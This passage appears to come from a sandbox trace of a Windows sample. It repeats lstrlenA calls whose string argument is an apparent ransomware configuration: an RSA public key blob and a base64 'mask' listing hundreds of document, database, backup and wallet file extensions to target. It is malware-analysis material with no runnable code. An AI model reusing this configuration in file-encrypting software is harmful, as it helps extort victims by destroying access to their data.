FzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNk